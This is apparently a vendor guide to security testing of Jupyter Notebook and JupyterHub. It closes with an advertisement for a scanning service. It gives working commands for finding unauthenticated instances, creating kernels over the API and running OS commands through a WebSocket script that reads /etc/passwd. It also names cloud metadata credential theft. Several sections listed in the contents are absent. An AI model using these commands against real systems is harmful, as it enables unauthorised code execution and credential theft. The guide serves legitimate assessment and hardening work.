Jupyter Notebook Security Testing: Unauthenticated Code Execution, Token Theft, and nbformat Injection

Jupyter Notebook and JupyterLab are the dominant interactive computing environments for data science and machine learning. Their security posture is often poorly understood: Jupyter starts with token authentication enabled by default but many corporate deployments disable it with --NotebookApp.token='' or run behind a reverse proxy that strips authentication headers; the built-in terminal feature gives authenticated (or unauthenticated) users a full shell on the host OS, not just Python execution; notebook files (.ipynb) are JSON and can be crafted to execute arbitrary code when opened — this is the intended behavior but enables supply chain attacks via shared notebooks in data repositories; cloud-deployed Jupyter instances on EC2/GCP/Azure can query the instance metadata service from within a notebook cell; and JupyterHub multiuser deployments often misconfigure spawner privileges, allowing users to mount host paths or access other users' home directories. This guide covers systematic Jupyter security assessment.

Table of Contents

  1. Jupyter Discovery and Authentication Check
  2. Unauthenticated Code Execution
  3. Terminal Access and Host Escape
  4. Cloud IMDS Credential Theft from Notebooks
  5. JupyterHub Misconfiguration
  6. Jupyter Security Hardening

Jupyter Discovery and Authentication Check

# Jupyter default ports: 8888 (single-user), 8000 (JupyterHub)
# Also common: 8889, 8890, 8080 (when 8888 is taken)

# Check if Jupyter is running without authentication
curl -s http://jupyter.example.com:8888/api 2>/dev/null | python3 -m json.tool | head -5
# {"version":"6.x.x"} returned without auth = no auth required

# Check Jupyter login page
curl -s -o /dev/null -w "%{http_code}" http://jupyter.example.com:8888/tree 2>/dev/null
# 200 = no auth; 302 to /login = token/password auth required

# Try empty token (common misconfiguration)
curl -s "http://jupyter.example.com:8888/api/kernels" \
  -H "Authorization: token " 2>/dev/null | python3 -m json.tool | head -3

# Check JupyterHub login
curl -s http://jupyterhub.example.com:8000/hub/api 2>/dev/null | \
  python3 -m json.tool | head -5
# {"version":"4.x.x"} indicates JupyterHub

# Discover Jupyter instances via Shodan-style service banner
nmap -sV --script banner -p 8888 10.0.0.0/24 2>/dev/null | \
  grep -B2 -A2 "Jupyter" | head -20

Unauthenticated Code Execution

# If Jupyter has no authentication, execute arbitrary Python via the kernel API

# Step 1: Create a new kernel
KERNEL_ID=$(curl -s -X POST http://jupyter.example.com:8888/api/kernels \
  -H "Content-Type: application/json" \
  -d '{"name":"python3"}' 2>/dev/null | \
  python3 -c "import json,sys; print(json.load(sys.stdin).get('id',''))" 2>/dev/null)
echo "Kernel ID: $KERNEL_ID"

# Step 2: Execute code via WebSocket kernel channel
# The kernel uses WebSocket for code execution — use a Python helper to send a message
python3 - << 'PYEOF'
import websocket, json, uuid, time

JUPYTER_URL = "ws://jupyter.example.com:8888"
KERNEL_ID = "REPLACE_WITH_KERNEL_ID"

ws = websocket.create_connection(f"{JUPYTER_URL}/api/kernels/{KERNEL_ID}/channels")

# Send execute_request message
msg = {
    "header": {"msg_id": str(uuid.uuid4()), "username": "attacker",
                "session": str(uuid.uuid4()), "msg_type": "execute_request",
                "version": "5.0"},
    "parent_header": {}, "metadata": {}, "channel": "shell",
    "content": {"code": "import os; print(os.popen('id && cat /etc/passwd | head -3').read())",
                "silent": False}
}
ws.send(json.dumps(msg))
time.sleep(2)
for _ in range(5):
    result = ws.recv()
    parsed = json.loads(result)
    if parsed.get("msg_type") == "stream":
        print("OUTPUT:", parsed["content"]["text"])
        break
ws.close()
PYEOF

Jupyter Security Hardening

Jupyter Security Hardening Checklist:
Security TestMethodRisk
No authentication enables arbitrary code executionGET /api/kernels — 200 without token; create kernel and execute OS commands via WebSocketCritical
Terminal access gives full host shellGET /terminals/1 — terminal session executes arbitrary shell commands on host OSCritical
Cloud IMDS accessible from notebook cellsrequests.get("http://169.254.169.254/...") from cell — retrieves IAM role credentialsHigh
Notebook files in git contain credentialsgrep for api_key/password in .ipynb files in git history — output cells often store resultsHigh
JupyterHub user isolation bypassRead /home/otheruser/ from spawned server — file permission misconfigurationHigh
Empty token accepted as valid authAuthorization: token (empty) header — accepted on some misconfigured deploymentsMedium

Automate Jupyter Security Testing

Ironimo tests Jupyter Notebook and JupyterHub deployments for unauthenticated access enabling arbitrary Python execution via the kernel API, built-in terminal providing full host shell access, cloud IMDS credential theft from within notebook cells, notebook files in repositories containing embedded API keys and credentials in output cells, JupyterHub user isolation bypass via filesystem permission misconfiguration, and empty token authentication bypass on misconfigured deployments.

Start free scan